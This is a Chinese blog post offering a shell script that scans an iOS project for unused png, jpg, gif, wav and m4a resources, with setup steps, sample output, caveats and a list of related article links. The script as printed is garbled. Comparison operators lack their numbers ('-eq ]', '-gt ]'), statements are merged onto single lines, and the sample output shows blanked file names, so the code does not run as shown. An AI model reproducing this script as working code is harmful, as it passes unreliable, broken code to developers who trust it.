iOS项目冗余资源扫描脚本

  

  随着iOS项目的版本不断迭代,app中冗余文件会越来越多,app size也持续增加,是时候需要对app冗余资源进行检测,对app进行瘦身。

使用方法:

1. 运行环境为mac, 首先准备好工程源代码;

2. 新建check.sh,将下面的代码粘贴到check.sh中并且保存;(可将txt文件改成sh后缀)

#!/bin/sh

##### several cases that the scripts does not work:
##### ) there is space or slash in the resources file, such as "aaa .png" 资源文件名中含有空格或者/
##### ) reference resources in commented code 资源引用代码被注释了
##### ) you need to manually checked the resources one by one in the result 对于脚本检查结果,最好人工检查一遍
##### ) you can add some other types more than png, jpg, gif, wav, m4a 如果需要检查其他资源,请自行修改脚本;
##### )默认文件后缀都是如@2x.png格式,如果后缀格式不同,请自行修改脚本; #### set parameters:PrjPath为项目工程所在目录,包含.m .xib文件;ResPath为被扫描的资源文件目录,包含.png .wav
#### xcodeprojPath为工程xcodeproj位置
PrjPath=/Users/.......
ResPath=/Users/.......
xcodeprojPath=/Users/....../******.xcodeproj if [ -f ~/Desktop/resource_san_result.txt ];then
rm -f ~/Desktop/resource_san_result.txt
fi cd $PrjPath
files=$(find . -name "*.m" -o -name "*.xib" -o -name "*.mm" -o -name "*.plist") cd $ResPath
for png in $(find . -name "*.png" -o -name "*.jpg" -o -name "*.gif" -o -name "*.wav" -o -name "*.m4a")
do basename='basename/'$png
basename=${basename##*/}
# echo $basename if [ "${basename##*.}" == "png" ];then echo $basename|grep -q @2x.png if [ $? -eq ];then
name=${basename%%@2x.png}
else
echo $basename|grep -q @3x.png
if [ $? -eq ];then
name=${basename%%@3x.png}
else
name=${basename%.png}
fi
fi elif [ "${basename##*.}" == "jpg" ];then
echo $basename|grep -q @2x.jpg
if [ $? -eq ];then
name=${basename%%@2x.jpg}
else
echo $basename|grep -q @3x.jpg
if [ $? -eq ];then
name=${basename%%@3x.jpg}
else
name=${basename%%.jpg}
fi
fi elif [ "${basename##*.}" == "gif" ];then
echo $basename|grep -q @2x.gif
if [ $? -eq ];then
name=${basename%%@2x.gif}
else
echo $basename|grep -q @3x.gif
if [ $? -eq ];then
name=${basename%%@3x.gif}
else
name=${basename%%.gif}
fi
fi elif [ "${basename##*.}" == "wav" ];then
name=${basename%%.wav} elif [ "${basename##*.}" == "m4a" ]; then
name=${basename%%.m4a} else
name=''
fi if [ ${#name} -gt ];then
# # name=${name%%[-]*} cd $PrjPath
if grep -q $name $files;then
echo "$png" is used else
cd $xcodeprojPath
if grep -q $name project.pbxproj;then
echo "$png" is not used >> ~/Desktop/resource_san_result.txt
else
echo "$png" is not packaged
fi
fi
else
echo name is empty
fi done if [ -f ~/Desktop/resource_san_result.txt ]; then
echo ***************the end of scan. Please see result from resource_san_result.txt
else
echo ***************the end of scan, everything is OK
fi

3. 设置脚本中参数:

PrjPath为项目工程所在目录,包含.m .xib文件;

ResPath为被扫描的资源文件目录,包含.png .wav;

xcodeprojPath为工程xcodeproj位置;

例如:

PrjPath=/Users/zhuquan/Documents/secret-develop/Project
ResPath=/Users/zhuquan/Documents/secret-develop/Project/Phoenix/Res
xcodeprojPath=/Users/zhuquan/Documents/secret-develop/Project/Phoenix.xcodeproj

4. 执行脚本check.sh;

5. 最后会出检测结果,检测出来的冗余资源最好人工检查一遍。

[zhuquandeMacBook-Pro:Desktop zhuquan$ ./check.sh
./.png is used
./.png is used
./.png is used
./.png is used
./.png is used
./ajax-loader.gif is not packaged
./运动记录.png is not packaged
***************the end of scan, everything is OK

使用总结:

脚本使用过程中有一些注意事项如下,

1. 如果资源文件名中含有空格或者/,比如”aaa .png”,该资源无法正常检测;

2. 如果资源文件在代码中被引用了,但是该引用代码被注释掉了,也无法成功检测;

3. 对于最终脚本输出的脚本检查结果,最好人工检查一遍,有些资源可能并非是冗余资源;

4. 目前脚本中支持的资源类型有.png .jpg .gif .wav .m4a,如果需要检查其他资源,请自行修改脚本。

iOS项目冗余资源扫描脚本的更多相关文章

  1. 小白读iOS冗余资源扫描脚本

    随着公司项目的不断功能迭代,项目的体积越来越大,各种瘦身策略迫在眉睫.由于平时使用Linux高级命令和 shell脚本的机会不多,之前学的知识一下子想起来很难.所有趁着这次看脚本,重新温习一下. 本文 ...

  2. 清理IOS项目未使用图片脚本

    项目经过需求的变更,产品迭代,会经过多次的改版,有些以前不再使用的图片不一定能够及时的清理掉,这些无用的图片一方面让项目图片资源的结构更加的复杂,另一方面会导致ipa包的体积变大. 因此我们需要清理不 ...

  3. 使用OClint进行iOS项目的静态代码扫描

    使用OClint进行iOS项目的静态代码扫描 原文链接:http://blog.yourtion.com/static-code-analysis-ios-using-oclint.html 最近需要 ...

  4. ios项目里扒出来的json文件

    p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 13.0px Menlo; color: #000000 } p.p2 { margin: 0.0px 0. ...

  5. 实现iOS图片等资源文件的热更新化(五): 一个简单完整的资源热更新页面

    简介 一个简单的关于页面,有一个图片,版本号,App名称等,着重演示各个系列的文章完整集成示例. 动机与意义 这是系列文章的最后一篇.今天抽空写下,收下尾.文章本身会在第四篇的基础上,简单扩充下代码, ...

  6. 实现iOS图片等资源文件的热更新化(零): 序

    必要的序 以后在写系列文章,准备把基本的规划和动机等,单独作为一个小的序言部分给独立出来.序言部分,可以较为完整地交待系列文章的写作动机,所展示的编码技术可能的应用场景等.个人,我还是比较看重文章或者 ...

  7. iOS项目的目录结构和开发流程

    转自无网不剩的博客 网上相关的资源不多,开源的且质量还不错的iOS项目也是少之又少,最近正好跟同事合作了一个iOS项目,来说说自己的一些想法.   目录结构 AppDelegate Models Ma ...

  8. ios项目开发汇总

    UI界面 iOS和Android 界面设计尺寸规范  http://www.alibuybuy.com/posts/85486.html iPhone app界面设计尺寸规范  http://www. ...

  9. iOS项目开发优秀文章汇总

    UI界面 iOS和Android 界面设计尺寸规范  http://www.alibuybuy.com/posts/85486.html iPhone app界面设计尺寸规范  http://www. ...

随机推荐

  1. 每天一个JS 小demo之树菜单。主要知识点:DOM方法综合运用,递归运用

    <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"& ...

  2. Java基础语法实例(2)——实习第二天

    来到广州实习的第二天,广州好潮湿,这就是我的感觉,手表里面都开始产生了水雾,这就尴尬了...每天不断的雨.好吧,尽管我很喜欢这里的树,但是我以后应该也不会再来广州了,其实也说不准.想起了<谁动了 ...

  3. phpcms V9 后台验证码图片不显示

    某个网站在本地运行成功,上传到服务器上后,发现后台登陆的验证码图片不显示 根据网上提供的解决方案, 网站路径变量web_path没问题 database.system的配置路径没问题 apache的G ...

  4. thinkphp之获取客户端IP地址

    /** * 获取客户端IP地址 * @param integer $type 返回类型 0 返回IP地址 1 返回IPV4地址数字 * @return mixed */ function get_cl ...

  5. (转载)Oracle10g 数据泵导出命令 expdp 使用总结(一)

    原文链接:http://hi.baidu.com/edeed/item/890626ef6f6d9d265b2d646f Oracle10g 数据泵导出命令 expdp 使用总结(二)Oracle10 ...

  6. vijos1057题解

    题目: 永恒の灵魂最近得到了面积为n*m的一大块土地(高兴ING^_^),他想在这块土地上建造一所房子,这个房子必须是正方形的. 但是,这块土地并非十全十美,上面有很多不平坦的地方(也可以叫瑕疵).这 ...

  7. 利用powershell反弹shell到metasploit

    一.使用msfvenom生成PS1文件: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f psh-reflection >.p ...

  8. Postgresql_fqw

    Postgresql_fqw 测试环境 Ubuntu 16.04 LTS云主机2台,主机名为pg1(192.168.0.34)和pg2(192.168.0.39). 安装postgresql 下面这个 ...

  9. eclipse打开时提示:failed to create the java virtual machine

    Eclipse打开时提示: failed to create the java virtual machine 原因:C盘空间不够   编辑删除 处理:1.用金山清理临时文件: 2.用金山手机卫士连接 ...

  10. Windows平台下搭建MySQL数据库

    1.下载安装MySQL数据库: (1)->我的标签->软件下载->计算机相关专业所用软件---百度云链接下载->mysql-installer-community-5.7.18 ...